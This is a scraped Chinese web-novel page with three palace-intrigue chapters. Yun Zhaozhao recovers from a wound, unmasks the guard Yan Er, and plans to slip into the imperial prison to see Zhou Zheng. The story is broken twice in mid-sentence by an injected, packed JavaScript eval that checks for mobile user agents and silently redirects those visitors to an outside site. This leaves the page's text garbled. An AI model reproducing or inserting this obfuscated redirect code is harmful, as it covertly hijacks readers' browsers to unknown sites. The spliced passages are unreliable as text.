他呆呆地坐在塌边的软凳上,刚伸出去想要为她划开额角发丝的手僵在了半空中。 “不记得了啊。”薛炼喃喃道,嘴角浮起一丝苦涩的笑意。 不知怎的,幼年时他作为崔言,第一次随父母姐姐一起去云府赴宴见到云昭昭时的情景还历历在目。 那时他在家中也是养尊处优的小少爷,听说要去别人家做客便十分不乐意,特别是在父亲对着他滔滔不绝讲了半个时辰规矩后,他更是对那所谓的云府不屑一顾。 直到在云府的宴会上,父亲让躲在自己身后闷闷不乐的他出来见见云伯伯家的小妹妹。 他才不情不愿地探出了半个脑袋。 而这一看,从此过后,他就再没有移开过眼。 那云家的小姑娘生得漂亮极了。 她穿着一身石榴红撒花软缎小袄,乌溜溜的发髻上点缀着硕大圆润的东珠,衬得那张脸愈发像刚出窑的白釉娃娃。颊边两团软肉鼓囊囊的,连下巴都带着讨喜的圆弧形,睫毛长而密,垂下来时在眼下投出浅浅的阴影。 听见云琛说“叫哥哥”,她非但没应声,反而把手里的蜜饯碟子往丫鬟怀里一塞,斜睨着他撇了撇嘴,声音又脆又娇却带着几分倨傲:“什么哥哥,他躲在崔叔叔后面分明像只小耗子,我才不要跟小耗子说话!”说着便跑开了。 后来的整场宴会上,只要云家的小姑娘在哪里,他便在哪里。 甚至她嫌他烦得像个跟屁虫,为了躲他还钻到自己床榻下睡着了,闹了个很大的乌龙。 再后来,本来不情不愿的他,只要一提到去云府,便比谁都积极。 最后连父亲都开始打趣他,等他再长大一点儿,成了年,便去替他向云伯伯提亲。 于是年幼的薛炼便一直盼着去云府,盼着加冠成年,盼着娶云家小姑娘为妻。 可年少时一切美好的夙愿都化为了泡影,他没有等到作为崔言的成年礼,更没有等到娶云家的小姑娘为妻。 他只等来了名为薛炼的人生和一副残缺的身体,等来了云家千金痴恋陛下的传闻,最后等来了她入宫为妃的消息…… 如今的他确实像只阴沟里苟且偷生的耗子,怎么又能配得上云端之上的她呢? 想到这里,薛炼看着云昭昭脸上的茫然,忽然觉得,若是她记不得了,也挺好的。 结果,下一刻他便听到云昭昭又清又脆的解释:“不好意思啊,我确实不记得你了。你相信吗?我早就不是你所喜欢的那个云家大小姐了,我对你而言,其实算是个陌生人。” “你什么意思?”薛炼眉毛一扬,下意识地追问道。 “我的意思是,我入宫前生了一场大病,失去了所有的记忆,这样的我跟换了个灵魂差不多,所以对你而言,我虽然外表看起来还是那个人,但实际上灵魂已经是个陌生人了……” 云昭昭看着薛炼目光越来越黯淡,她不愿意伤了他的心,也没办法跟他说原身的灵魂可能已经死了,自己是穿书过来的。她只能用这种方法委婉地同他解释,希望他能意会到一点。 “我没事。” 薛炼虚弱地笑了一下,神情有些落寞,只安静地坐在榻边的软凳上,盯着窗外的那棵只剩枝丫的秋海棠。 中秋节那日他来这里时,就发现昭阳殿内的庭院里种的都是桂树,唯有这一棵秋海棠,孤零零地在一种桂树间开着花,格外孤独,也格外耀眼。 正如这昭阳殿的主人,与他这些年在宫里见过的一众女子,都大为不同。 沉默了片刻后,薛炼收回目光,平静地看向榻上的云昭昭,说道:“即使你不是她,但我们认识这一场,也算是朋友了不是吗?那作为朋友,我也不希望你陷入危险。” “不。”云昭昭说,“危险,你越躲着它,反而被它追着跑,也越躲不开。我留下来,不是要被动地躲避危险,而是要主动地,迎战它。” 薛炼:“……” 薛炼有些无奈地叹了口气,压低了声音,最后一次小声地劝道:“可是昭昭,阁老此举说白了,那是造反啊……” 云昭昭看着天顶的藻井,想到云琛的起兵,突然笑了。 青史之上,素来不乏成王败寇之例,胜者定鼎天下,便称开基立业、更朝易代;败者倾覆陨命,即被指为犯上谋逆、举兵叛乱。 可史书是写给后世的,不是写给现在的。 只要他们行得正,立得端,不辱国祚,不负百姓,这反有何造不得? 云昭昭身体虽不能动弹,但想法已经飘到了很远的地方。 “既然未来留给我们云家的,只有死路一条,那我也偏要砸开那条道,走出一条生路来!” 说到这里,她甚至狡黠地眨了眨眼,还引用了后世某位大文豪的名句。 “世上本无路,走的人多了,也就成了路。你怎么就知道我就一定走不下去呢?” 她的声音温柔而沉静,躺在床上的样子也与一条咸鱼无异,可薛炼却偏偏听出了一种策马于万军之上的激荡。 振聋发聩,大有定夺乾坤之势。 73. 守护 秋意很快便彻底褪尽,北风肃肃,先一步卷着寒意闯进了宫城。不过半月的光景,第一场雪便落了下来。 起初只是零星的小雪,细碎的雪沫一沾上物件就化作了水,而后越下越急,越下越密。一夜之间,朱红的宫墙,碧青的琉璃瓦顶全被覆上了一层厚厚的白。 虽然昭阳殿里那场刺杀留下的鲜血,已被大雪掩盖得一干二净,可赵昶还是搬去了北郊的汤泉行宫,自那以后就再也没有回来。 汤泉行宫背靠永周山,宫里有好几处天然的温泉泉眼,是大周历代帝王后妃修养之处。如今外面冰天雪地,大雪封山,山路难行,因此大家都清楚,至少明年上元节前,赵昶都不会再回到皇宫。 因为主子的离宫,六局二十四监的宫人也跟着走了大半。吃一堑长一智,守备也比之前严了不少,面积只占皇宫三分之一大的汤泉行宫,就足足调去了两万六千余名禁军。宫里只留了数千人,其中大部分都在慈宁宫附近。 也正如之前薛炼所说,嫔妃里赵昶只带了有孕在身的易琉璃。这可让荣嫔憋了一肚子火,明明之前她才是最受宠的那个,这会儿一下子就被比了下去,而且还几个月得不到圣宠。听说她先是在自己宫里摔砸器物,后来又跑到太后处哭诉了好几回,说陛下偏心,冷落旧人。 可赵昶自从搬到汤泉行宫后连每日的早朝都免了,就算是六部有事请奏也只能提前拟好折子,托锦衣卫和裴晧等近臣带到山上去,他哪里还有功夫理会荣嫔的怨怼?说不定连她是谁都忘到脑后了。 因此在宫里声势浩大地闹了几回,也没得到半点儿回响,荣嫔最后也觉得甚为无趣,渐渐地歇了声,最后彻底安分了下来。 没了皇帝,又走了大半的人马,偌大的宫城更是变得空旷,就连那冬日里的寒风穿过回廊的声音都格外清晰,透着说不出的肃杀与寂寥。 因为腹部的刀伤伤得极重,所以云昭昭在醒来过后,还是得老老实实地呆在昭阳殿里静养。 她刚醒来的那日便让薛炼替卧床的自己修书一封,将她前段时间在宫内宫外调查得来的关于独孤晴的消息,还有东瀛与突厥的虎视眈眈都在信里一股脑儿地告诉了云琛。但关于赵昶与周徵身世的秘密,她还是决定先藏在自己心里。 在这之后,她猜测自己那天的拜访已经让独孤晴生了疑,为了防止她再在这段时间生事,她便拜托了薛炼替自己专门盯着翊坤宫那边的情况。 云昭昭原以为云琛看了信就会立即给自己回复,但很快三日过去,她从只能卧床道已经可以下地行走了,却还是没有得到云琛的回复。 而因为上次她明确拒绝了薛炼,似乎也伤透了他的心,所以后面他也再没有到昭阳殿来过。只是偶尔会派一个手下的小太监,送点儿人参鹿茸之类的补品过来。 御马监的提督明面儿上虽与寻常官员一般领的是俸禄,但毕竟实际身份还是太监,所以这俸禄相比同品级的官员也是少了一大截。云昭昭念及薛炼俸禄有限,本无意收下这些昂贵的补品,结果薛炼那边却回复说贵妃不要扔了就是,她没办法,只能让人好生收着,算是不辜负他那一番心意。 薛炼不再来,云琛也迟迟不回信,云昭昭因为伤势的原因走不了太远,只能在昭阳殿内活动,再加上流霜玉绯又只是宫女,根本打听不到如今朝中的消息。 如此,她只能每日在殿内无所事事地打发时间。习惯了现代那样丰富的娱乐方式的她,除了一日三餐与睡觉的时间,其余的大部分光景都不知道怎么消磨。 很快她就将从云府偷偷带入宫中的所有话本子翻烂了,甚至故事中的每一个细节都能倒背如流地讲述出来,到了最后,她只能百无聊赖地呆在殿内,看着窗外簌簌落下的冬雪出神。 这下,云昭昭也终于明白了古代那些女子在入了宫后,就算抛下尊严,泯灭善良,也要拼了命地去争宠,想尽一切办法讨好帝王的缘由。 实在是太无聊了啊。 就算是她,在这一眼就能望到头的漫天飘雪下,看着日复一日熟悉的景物,想到年复一年单调类似的生活,纵使周遭再精美的器物陈设,再华丽璀璨的珠宝首饰,也会变得和那窗外的大雪一样,灰白的,了无生气的,死一般的…… 这日,雪终于暂时停了下来,可外面还是一片灰白,风依旧很大,呜咽着刮得庭院内的枯枝瑟瑟作响。这天气依旧不宜出门。 云昭昭觉得自己再这样待下去就快要长蘑菇了,便让玉绯替自己磨了墨,备了颜料,摆在窗边的小案上。 她幼时学过一段时间国画,虽然画的不怎么样,但随便涂两笔,画个大体的形还是可以的。 于是她盯着窗格外那株光秃秃的海棠树,回想着它在秋天里,是如何在一众桂树中脱颖而出的,随后蘸了颜料,粉白的花瓣在宣纸上绽放,深绿的叶片点缀其中。画工虽粗糙稚嫩,但一枝海棠的风韵还是被她勾勒了下来。 画完一张纸,云昭昭看着自己比起宫中那些名家画匠显得极其拙劣的画技,有些不太满意。花瓣水太多了,浸染得过了些,叶片颜色又偏青了,少了秋日里那一抹浸着金色的秋意…… 她将纸扔在一旁,准备再画一张,又抬头盯着那海棠树的枯枝出神。 看着看着,她忽然意识到不对。 只因方才风起时,风是由东向西刮去的,故而窗棂间那些光秃秃的海棠枝丫应当全向西侧倾斜才对,可她却留意到窗棂顶端处的几丛枝干却莫名地顿了一下,像是有什么东西停在了那上面一样。 按理说这个季节,又是雪又是风的,鸟儿早就冬眠的冬眠,南飞的南飞了。 想到这里,云昭昭一下子意识到什么,抬眼往殿外的院子里瞄去。 结果这一瞧立刻瞧得她出了一身冷汗。 ——只见最远处回廊角落的立柱后,隐约可见一个人影。 那人躲得很是隐蔽,整个身子不偏不倚地刚好被立柱遮住,从这个方向看过去,只会觉得那里的一抹黑色乃是树与其他立柱的投过去的阴影,不仔细看,根本无法想到那里还站着个人。 而云昭昭之所以看出来了,一方面是因为刚才树枝的不正常晃动让她想到了可能是有轻功的人经过踩在了上面——窗棂大小有限,看不见其树枝顶端的情况,另一方面则是那人腰间佩戴的武器暴露了他。 既有武器,又有轻功在身,隐匿藏身得也像是受过训练的样子…… 这人恐怕来头不小。 想到那日薛炼提醒自己的话和宫中如今稀疏的守备,云昭昭终于嗅到了危险。 若不是今天偶然的留意,恐怕她一直都不会知道,自己的一举一动早就在别人的监视下了。特别是想到晴妃已经猜到了自己就是醉仙楼里的“明姝”,但这段时间却安静地没有一点儿动作,她更是一分钟都坐不住了。 她假装做出风大,禁不起吹的样子,叫人关了窗户。随后,又叫来最机敏能干的小卓子和其它几个小太监,几人一起为那院子里的“不速之客”来了一场“瓮中捉鳖”的大戏。 云昭昭仍旧以外面风太大,殿里冷为缘由,命小卓子与几个小太监一起将花厅中的一扇四面的玉竹屏风搬至了店门口,美其名曰挡风。 但屏风的四个脚处却做了手脚——用结实的细麻绳绑着脚,由两个力气稍大些的小太监躲在花厅后方,一人两根绳子控制着,只需两人同时扯动细麻绳,就可使屏风向门外倾倒。 接着,云昭昭再遣退了随侍的宫女,独自一人到院中散步。走至花厅门口的假山处,她刻意不慎踩空,跌倒在地。 说时迟那时快,那“不速之客”见状果然坐不住了,只见灰青色的影子一闪,不一会就掠至云昭昭身侧。 而正当他准备动作时,花厅内两名小太监一齐拉动绳子,数十斤重的玉竹屏风应声而落。那人躲避不急,被屏风砸到身上,暗叫不好。 此时方才一直躲在假山中的小卓子带着另外两名小太监,手持防身的铁棍,从两侧杀了出来,对着那屏风就是一顿乱戳乱打。 小卓子也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16329730|179884||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是有点功夫在身上的,每一棍都隔着竹屏风往人要害上打。因此云昭昭这一招,虽然对周徵那样的顶级高手没什么用,但对一般的杀手刺客来说,虽然有功夫在身上,但还是容易被打个措手不及。 那人一阵吃痛,连忙求饶道:“别别别!别打了!手下留情!手下留情!” 那声音有几分熟悉,好似在哪里听过,云昭昭发现那人根本就没还手,似乎并没有刻意,便让小卓子等人停了手,搬开了那被铁棍揍得伤痕累累的竹屏风。 “怎么是你?!”云昭昭看着蹲在屏风下抱着头的燕二,惊讶之余又说不出自己是个什么心情。 毕竟是认识的人,心里难免暖暖的,但更多的却是不明由头的失落。 燕二在乱棍之下,虽隔着屏风,但脸上还是多了几处青紫,他啧了啧舌头,苦兮兮又没好气地吐槽道:“怎么不能是我了?贵妃娘娘下手也忒狠了点儿,要是再慢一点儿,我这脸估计就娶不着媳妇儿了!” 云昭昭被他逗乐,连忙将他请进了花厅,让流霜拿来热水和药酒替他涂抹。 “抱歉,我还以为是专门来监视昭阳殿的贼人呢,才有了刚才那一出。没想到是你燕镇抚。”云昭昭福了福身子,向他道歉。 燕二被流霜靠近伺候,有些不习惯地红了脸,窘迫地要过帕子敷着伤处道:“不打紧,都是些小伤,也是我没打算还手。” “说起来,你怎么没有同陛下一起去汤泉行宫?反而跑到我这昭阳殿来了?”云昭昭问道。 “嗨,这不因为陛下遇刺的事,如今诏狱里又关了好些犯人,总得有人来守不是?”燕二故作轻松道。 云昭昭忍不住打趣道:“守个诏狱而已,用得着你堂堂北镇抚司镇抚亲自坐镇吗?” “什么叫守个诏狱而已,现在里面关了不少要犯,娘娘从前的侍女汀雪如今就在里头。”燕二小声嘀咕道。 云昭昭听到汀雪的名字,小腹处稍微长好的伤口又开始隐隐作痛。她下意识地略过了这个名字,附和燕二说:“也是,如今宫里无论是禁军还是锦衣卫都走了大半,诏狱那样要紧的地方确实也需要燕镇抚这样要紧的人坐镇。” “行了娘娘,您可别抬举我了,”燕二苦笑着咋舌道,“再要紧的地方您还不是毫发无损地出来了,还害得我受了好一顿罚……” 想到自己之前在昭阳殿着了这女人道儿的狼狈模样,燕二至今还有些发怵。 云昭昭见他旧事重提,也略尴尬,只好轻飘飘地转移了话题,问道:“那燕镇抚今日又悄无声息地到我这昭阳殿来是为了什么?应该不会又是来监视我吧?” “啊?监视?”燕二委屈兮兮,“哪有咱们这样监视的啊。” 说着他解释道:“如今宫里守备薄弱,危机四伏。我是奉命来保护娘娘的,娘娘可能觉察不出什么。但前日我值守和昨日莫风值守时,都已经抓了两个鬼鬼祟祟的刺客了……” “什么?!”云昭昭陡然一惊。 前天她除了吃饭睡觉,便是靠在榻边的软枕上看了一天的书,外面安安静静的,只雪簌簌而落的声音,她根本没想到会有什么刺客。不止她没注意到,整个昭阳殿的宫人们也没注意。 昨天更是刮了一天的大风,风声呜呜咽咽的,更是将其他的动静盖住了。 但燕二明显不可能说谎,那刺客不管是独孤晴派来的,还是赵昶派来的,肯定都是冲着她的命来的。看来,这几日她在殿内的岁月静好,只是因为有殿外莫风与燕二在寒风中的蹲守。 云昭昭再清楚不过,如今的锦衣卫暂时归赫连海这位指挥同知统领,他自然不可能吩咐燕二来守着自己,守着昭阳殿。 唯一的答案,便是周徵让他来的。 她想到这里,鼻子不由得有些发酸,心也瞬间沉了下来,有些哽咽地问道:“他,还好吗?” 谁知燕二重重地叹了口气,带着些许恨铁不成钢的意味,骂骂咧咧道:“娘娘,侯爷他很不好。甚至,现在的情况有些棘手……” 74. 再闯 云昭昭闻言,想到了那天薛炼来的时候,提起此次赵昶前往北郊行宫,周徵并不在随行的队伍里。 当时她便随口打听了一下。 结果薛炼却一脸讳莫如深,只说自己也不是很清楚,云昭昭见他表现如此反常,心知有事。但薛炼对此三缄其口,她也不便再问了。 后来她才从宫人们平日里的闲谈八卦中听说是赵昶与周徵之间生了罅隙。 但具体发生了什么,这些下人们也不得而知了。 她有些在意,唯恐是因为自己的缘故连累了他。 毕竟这个封建君主时代臣子与后妃身份有别,而赵昶遇刺之时,周徵的恰好出现,更让她之前做出的两人毫无瓜葛的承诺显得苍白无力。 她突然意识到,不知道从什么时候开始,提到周徵,她已经从将其视为避之不及的敌人,变成将其当做并肩携手的同伴了。 那天在确定了东瀛公主就是晴妃后,她甚至第一反应便是让小卓子去寻周徵来,想要与他商议对策,却全然忘了,周徵是赵昶的兄弟,是自己父亲的头号政敌。 更令云昭昭在意的是,在她受伤昏迷之时,梦见周徵在对“自己”用刑。 梦里痛得不仅是身体,还有心。 以至于醒来后发觉是一场梦的时候,她长长地舒了一口气。 而刚才一见到燕二,想到是周徵命他来守着昭阳殿,保护自己的,她心里更是同那桌案上的画纸一般,长出了一株开得正盛的海棠,粉白粉白的花瓣被风一吹,便簌簌地落满心底,芬芳一片。 不过云昭昭并没有机会去细细深究这是怎样的一种感情。 在听到燕二说周徵很不好的时候,她便不受控制地揪紧了心,急不可耐地追问: “之前宫里到处都在传他与陛下起了争执,生了罅隙,到底发生了什么?” “哎……”燕二一副垂头丧脑的模样,却并不立即回答,而是接过流霜送来的一壶桂花茶,像是宣泄一般,咕噜咕噜连灌了半壶下肚。 他本来不愿多说,但看见云昭昭嘴唇用力地抿着,亮得逼人的眼睛直勾勾地盯着自己,只得道出了事情。 “娘娘,不是臣不说,只是侯爷他……他如今在诏狱里。” 云昭昭眨巴着眼睛,过了好一会儿才回过神来,只道:“诏狱,诏狱么?他在诏狱里有什么不对吗?” 她说这话的时候,手紧紧抓着手帕,下意识地捂在胸口处,脸上硬撑出一个难看的笑容,令燕二见了哀叹不已。 话说自打上回在醉仙楼里撞见了周徵与云昭昭“举止亲昵”后,燕二便认定了自己这位不苟言笑、不近女色、不染一尘的前任上司与贵妃的关系很不一般。 而如今见到云昭昭得知周徵在诏狱里后这副不堪一击的模样,他更是将两人看成了是一对苦命鸳鸯,在心里连连叹气。 “娘娘,侯爷早就不执掌锦衣卫了。”燕二知晓她的意思,小心翼翼地提醒道,“臣的意思是……侯爷现在是被关在诏狱里。” 这是云昭昭现在最不愿听到的话。 周徵是谁啊?他可是整个朝廷里最任劳任怨、恪尽职守、唯皇命是从的忠臣啊,从来就只有他关别人的份儿,他怎么可能成为关在诏狱里的犯人呢? 云昭昭气得不行,立马言辞激烈地质问道:“诏狱诏狱,什么人都关诏狱!你告诉我,他到底是犯了什么事儿,会被关进诏狱里!” 燕二也十分无奈,见云昭昭大有不得到答案誓不放过自己的架势,只好尽量客观地道出实情:“哎,还不是因为陛下遇刺的时候,侯爷擅闯昭阳殿……” “恕臣直言,先前因为擅自解了娘娘的禁足,又放走娘娘的母亲,让陛下已经对侯爷起了疑心了。再加上这次,陛下一意孤行地到了行宫,其余百官都难得有见他一面的机会,便被赫连海裴晧等人寻到了机会,屡屡从旁撺掇。陛下,便以……以勾结云家为由,将侯爷打入了诏狱。” “哈?勾结云家?”云昭昭忍不住轻笑出声。 她笑着笑着,眼神带着森然的凉意,“既是勾结云家,那本宫的爹娘这次为何没被抓进去?既是勾结云家,那本宫为何还能好端端地站在这里?这样的理由未免也过于可笑!” “娘娘说的是,臣也觉得这未免……过于荒唐。”燕二立马表示了认同,有些心虚地说。 毕竟在周徵被押入诏狱时,他还因为云家人好端端地呆在外面而替周徵鸣不平。以至于周徵托付他来守着昭阳殿,他也是赌着气,心里一万个不情愿。 “燕镇抚。”云昭昭突然郑重其事地叫住他。 燕二心里咯噔一下,既惊又怕地看向云昭昭,生怕她要提出什么强人所难的要求。 结果她只是用极轻的声音问他:“我可以信任你吗?” 她没有再自称本宫,声音也轻到只有他们俩人才能听到。燕二总觉得好像前方有什么不得了的事情在等着自己,但还是木讷地点了点头。 结果云昭昭并没有继续说话,而是看了看四周,对燕二道:“请借一步说话。”说着便穿过层层帷幔,走入内室。 燕二一开始有些犹豫,毕竟里面就是嫔妃的寝宫,他若冒着大不韪进去,被人发现了,大概跟周徵是一个下场。 可方才云昭昭眼中的担心却也不似作伪,而且这女人似乎总是很有办法,之前的每一次陷入囹圄都能化险为夷,想到周徵在诏狱中的处境,他终于狠下心决定豁出去了,也立刻跟了上去。 到了寝宫里,云昭昭坐在妆台前,望着战战兢兢踱步而来的燕二,突然冷不丁地开口道:“燕镇抚,你如今的上司应该是赫连海才对。为何你还会听令于武安侯,来护着我这昭阳殿?” 见燕二有些不明所以,她又解释道:“我这么问,只是想提醒燕镇抚,你和莫小统领所做之事,是要掉脑袋的事。而我叫你进来所要告诉你的事,比掉脑袋还要严重得多得多……” 燕二仍一头雾水,只知道云昭昭是在试探自己,连忙出声道: “娘娘,臣自打进入锦衣卫起就在侯爷麾下,侯爷虽治军严厉,为人冷淡不苟言笑,但这些年他对臣指点回护良多。他虽是臣的上司,但臣与莫风早已将他视为兄长般的所在。如今他虽不任指挥使一职,但臣,臣还是觉得他让我们守着昭阳殿,自然有他的道理……莫风应该也是一样。” “很好。”云昭昭对燕二的忠心表示满意,接着提高了声调道,“你们锦衣卫应当是全天下最能保守秘密的人,我接下来要告诉你的事,事关周徵的性命,也事关大周的江山社稷,希望你务必能守口如瓶。你得先发个誓。” 听到云昭昭将事情的高度上升到了国家社稷,燕二紧张不已,有些后悔自己这么盲目地就跟了进来,但他事已至此,他还是吞了吞口水,在云昭昭面前发了个毒誓。 接着,他就听到了一个他此生听到的最骇人、最不可思议的故事。 ——那个发生在乾元六年八月初四的云台寺中,狸猫换太子的故事。 云昭昭简要地复述完二十多年前这段尘封的辛秘,看见燕二已骇得脸色发白,宛若一桩木头呆呆地立在原地。她只好给他些消化的时间,端起桌上冷掉的茶,慢悠悠地喝了起来。 虽然周徵的身世在这个节骨眼儿上,知道的人越少越好。 但若是知情的人中没有一个是自己可以依靠、可以暂时驱使的人,那她若想救周徵,则会变得非常被动。 而燕二无疑是最好的人选。 从之前在醉仙楼,到如今的昭阳殿,云昭昭已经看出了他于周徵的忠心。同时燕二又是锦衣卫中人,甚至地位还不低,话语权仅次于赫连海,比起薛炼来说,将更为得力,因此,她才决定冒着风险,将真相对他和盘托出。 毕竟方才她得知周徵被关进了诏狱时,第一个冒出的念头便是赵昶已经知道了,所以才迫不及待地想除掉周徵。所谓的勾结云家不过是他随便安上的一个借口罢了。 云昭昭想得清楚:在汀雪发现了逐月收藏的那本膳事记录后,很明显独孤晴也注意到了里面狸猫换太子的往事,所以东瀛那边也掌握了周徵的身世。因此才有独孤晴在醉仙楼里所谋划的那个釜底抽薪。 她猜测,这所谓的釜底抽薪的“薪”,指的就是周徵。 若是东瀛提前控制了周徵,再放出如今坐在龙椅上的赵昶是冒牌货的消息,大周朝野恐怕会为之哗然,届时本就不和的赵昶一方与云琛一方势必不会就此罢休,必定会引起内斗。 此时若再加上东瀛与突厥的南北夹击,中原必将大乱,届时,东瀛就可以轻松地挟天子以令诸侯了。 若不是遇上自己这个最大的变数,这个计划真可谓是完美无缺。 而因为自己的加入,让独孤晴的计划提前暴露,不仅周徵知道了,甚至连云琛也知道了。 既然计划暴露,那东瀛那边做出应对也是极有可能的,其中最毒的,莫过于将周徵的身世也透露给赵昶。 赵昶并不是什么笨人,甚至可以说也是极聪明之人,若是被他猜到了周徵与自己的身世,就凭他的狭隘心胸与刚愎自用,云昭昭几乎可以肯定,他一定不会允许周徵这样的威胁存在。 毕竟只有死人才会永远安全,永远保守秘密,哪怕曾经的周徵对他是如何俯首帖耳,哪怕他们之间有着十多年的情谊…… 穿书这么久以来,云昭昭第一次意识到,原来自己来到这里也不仅仅是被宿命拖着走;原来自己的存在也是可以改变很多东西的。 这令她心里备受鼓舞。她看向燕二,见他已经从刚才的震惊中恢复了神智,便道:“你们锦衣卫素来只执行帝王旨意,只效忠帝王一人,甚至肩负着拨乱反正、保障皇权正统顺利传承的重任。可如今金座之上并非赵氏血脉,你身为北镇抚司镇抚,该做什么,心里该有数吧?” “是……”燕二抿了抿唇,目光闪过一丝犹疑,“臣可否斗胆问娘娘一句,娘娘为侯爷筹谋至此,所图为何?” 说罢他又觉得这么说太过了,便挠了挠脑袋,补充道:“臣、臣也只是好奇……” 谁知云昭昭干脆利落地给了他答案:“为了活着,好好地活着,阖家平安地活着。” 燕二之所以会这么问,其实只是因为发现周徵在诏狱中无论自己如何受责难,却依旧心心念念着这位云贵妃的安危,所以本着对周徵的关心,他才想看看这位贵妃娘娘对周徵又是否放在心上。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16369798|179884||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他没等来自己想要的回答,却等来了这么一个答案。不过想想,云家树大招风,早被赵昶视为眼中钉肉中刺,被处理也是迟早的事,他们也只能另起炉灶。 于是他屈膝单腿跪于地上,诚恳道:“娘娘,就算您不提醒,就算侯爷并非先帝血脉……臣与其主仆一场,也绝不会眼睁睁地看着他枉死在诏狱里。” 说到这里他咬着牙,双眼已是通红。 “如今锦衣卫由那赫连海统领,他的手段比起侯爷更为残暴,侯爷向来又是隐忍至极的性子,面对赫连海的磋磨,至今都一声未吭……臣担心,臣担心……”燕二的声音逐渐哽咽,“还请娘娘想法子救救侯爷!” 接着只听“咚”的一声,燕二竟朝着云昭昭磕了一个响头。 云昭昭一惊,想到周徵的性格和在诏狱中的处境,心里也莫名地难受起来。她赶忙上前扶住燕二,道:“燕镇抚,你可曾有试过去找太后娘娘?太后娘娘一定会护着侯爷的。” 谁料燕二红着一双眼,额头也磕出了一个红印子,像是只泄了气的皮球一般,撇嘴道:“哎,娘娘有所不知,太后娘娘如今也算是被软禁起来了……” “什么?他姓赵的是疯了不成?”云昭昭再也忍不住,直接直呼其姓。 燕二道:“在陛……在他去往汤泉行宫前,太后便曾为侯爷求过情。可,可谁知,他以保护太后娘娘为由,命上千禁军将慈宁宫围了个水泄不通,名为保护,实为软禁。” 没想到真相竟是这样,云昭昭有些泄气地靠在椅背上。 太后被软禁,周徵被扣留在诏狱里,云琛那边迟迟未有回音,而东瀛与突厥则不知道潜伏在何处伺机而动,说不定他们为了这一天,早就在京城埋下了天罗地网的眼线。 而她,身边竟然连个可以商量的人都没有。 这一瞬间,云昭昭突然觉得全天下的担子都压在了自己一个人的头上。她腾地一下站起,快步走出寝宫,叫来小卓子,吩咐他去找薛炼来。 虽然她才拒绝了薛炼,不太好意思再麻烦他,可大局当前,她也顾不得那么多了。 谁知两炷香过后,小卓子才慌慌张张地跑回来复命,说是发现薛提督浑身是血地躺在延禧宫附近的小道上,人已经昏迷不醒了,便只好自作主张地将人先送往了太医院。 云昭昭赏了他两片金叶子,夸他做得对。 她强撑出一副镇定从容的神色,也是不想给身边尽心忙碌的宫人们带去不安。 待小卓子退下后,她立刻惨白着一张脸,跌坐在宽大的座椅之间,心脏更像是沉在了一处深深的湖底,没有光亮,也无法呼吸。 薛炼倒在延禧宫外,显然是跟独孤晴那边的人起了冲突。 原来,京城的局势已是风云变幻、波诡云谲,这些天她能自己的昭阳殿里岁月静好,全赖燕二和莫风的保护。 想到如今尚在诏狱中的周徵,她便鼻子一酸,有些想哭。 她一定要救他出来。 于是,正指挥着几个小太监将花厅倒塌的竹屏风抬走的流霜很快便看见云昭昭换了身宫装,梳了规矩的发髻,整装待发的模样竟像是准备出宫。 这可怎么得了,小姐的伤还没大好,只是刚刚能下地而已。她连忙上前阻止道:“小姐,你这是要作什么?” 云昭昭在矮柜处翻找着什么东西,头也不抬地说道:“流霜,薛提督给我的腰牌呢?” 流霜忙道:“哎呀,小姐,你身子还没好完。宋女医说了,还需好好卧床静养,每日下地的时间不可超过两个时辰,你今日已经远远超过这个时间了。” 谁知云昭昭置若罔闻,翻找一通后终于欣喜道:“找到了!” 说着她便叫上在院中呆坐着嚼狗尾巴草的燕二,扭头就往宫门口走。 “小姐小姐!”流霜急忙追上去道,“你要往哪儿去?你真不顾自己的伤了?” “无碍,我去一趟慈宁宫,你在宫里好好等着我便是。” 云昭昭只丢下这句话,便不顾流霜的强烈反对,一瘸一拐地扶着燕二的胳膊就往慈宁宫的方向去了。 她本想着自己有御马监提督的腰牌,可以说动禁军,哪怕让自己进去见太后一面也好。谁知到了慈宁宫门口,她便碰了一鼻子的灰。 那里看守的禁军统领将云昭昭递上的装着金叶子的锦袋原封不动地还了回来,并委婉又客气地告诉她,说是陛下对他们下了死命令,现在除了他本人的调遣,他们谁的命令都不再听从。 见对方软硬不吃,云昭昭彻底没辙,只能回头望了一眼巍峨肃穆的慈宁宫,延原路返回。一旁跟着的燕二也是一副垂头丧气的模样,活像一只被主人抛弃的大狗,每走几步就要叹几次气。 云昭昭被他闹得心烦,本想喝止他,垂眸却看见燕二腰间沾了些灰尘的银牌,那是上次她和薛炼“借来”用过的那枚,心里瞬间有了主意。 “燕镇抚。”云昭昭道,“你可知哪里还有多余的锦衣卫制服和腰牌?” “啊?”燕二如梦初醒,不知云昭昭所谓何意。 下一刻,他便听到云昭昭说: “我在想,你能否带我再去一趟诏狱,我想见他。”